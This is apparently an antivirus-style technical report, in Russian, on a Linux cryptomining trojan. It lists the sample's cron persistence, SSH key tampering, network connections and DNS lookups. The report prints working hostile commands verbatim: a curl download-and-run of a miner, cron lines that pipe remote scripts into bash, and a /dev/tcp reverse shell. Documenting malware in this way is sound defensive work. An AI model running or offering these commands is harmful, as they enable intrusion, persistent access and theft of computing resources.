Техническая информация
Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
- /etc/cron.d/watch
- /etc/cron.hourly/prelink
Вредоносные функции:
Запускает себя в качестве демона
Получает доступ к ключам SSH
- /root/.ssh/authorized_keys2
- /root/.ssh/authorized_keys
Выполняет трассировку процессов:
- swapper/0
Запускает процессы:
- rm -f /etc/hosts.old
- curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner && chmod 755 /tmp/.miner && /tmp/.miner
- chattr -ia /etc/crontab > /dev/null 2>&1
- chattr -ia -R /var/spool/cron/crontabs
- chattr -ia -R /root/.ssh
- chattr +i /etc/cron.hourly/prelink
- chattr -ia -R /var/spool/cron/crontabs > /dev/null 2>&1
- curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner
- chmod 755 /etc/cron.hourly/prelink
- rm -rf /root/.ssh/authorized_keys2
- echo \x27#!/bin/bash\x27 > /etc/cron.hourly/prelink
- chattr +i /etc/cron.hourly/prelink > /dev/null 2>&1
- chmod 755 /tmp/.miner
- /tmp/.miner
- chattr +i /etc/cron.d/watch > /dev/null 2>&1
- echo \x270 2 * * * root wget -c http://z.shavsl.com/b -qO -|bash \x27 >> /etc/cron.d/watch
- rm -rf /root/.ssh/authorized_keys
- chattr -ia /etc/crontab
- echo \x270 1 * * * root curl -fs http://z.shavsl.com/b|bash \x27 > /etc/cron.d/watch
- chattr -ia -R /etc/cron.d
- chattr +i /root/.ssh/authorized_keys2
- chattr -ia -R /etc/cron.d > /dev/null 2>&1
- chattr -ia -R /var/spool/cron
- chattr +i /etc/cron.d/watch
- chattr -ia -R /etc/cron.hourly
- chattr -ia -R /etc/cron.hourly > /dev/null 2>&1
- chattr +i /root/.ssh/authorized_keys
- echo \x27bash -i >& /dev/tcp/198.144.156.34/8443 0>&1\x27 >> /etc/cron.hourly/prelink
- chattr -ia -R /var/spool/cron > /dev/null 2>&1
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /etc/cron.hourly/prelink
- /tmp/.miner
Создает папки:
- /root/.ssh
Создает или модифицирует файлы:
- /tmp/.miner
- /etc/hosts
Удаляет файлы:
- /root/.ssh/authorized_keys2
- /etc/hosts.old
Сетевая активность:
Устанавливает соединение:
- 8.#.8.8:53
- 66.###.228.52:80
- 45.###.200.163:3334
- 45.###.200.163:6666
- 127.0.0.1:3334
- 127.0.0.1:6666
- 45.###.200.163:3333
- 127.0.0.1:3333
- 84.##.44.239:53126
- 17#.##.81.161:53126
- 45.###.200.163:53126
- 127.0.0.1:53126
DNS ASK:
- w.#####rojectcode.com
- o.######ldinformation.com
- o.#####rojectcode.com
- rt#.####goldinformation.com
- rt#.###tprojectcode.com
Посылает данные следующим серверам:
- 66.###.228.52:80
Получает данные от следующих серверов:
- 66.###.228.52:80
Прочее:
Собирает информацию о CPU
Собирает информацию об оперативной памяти
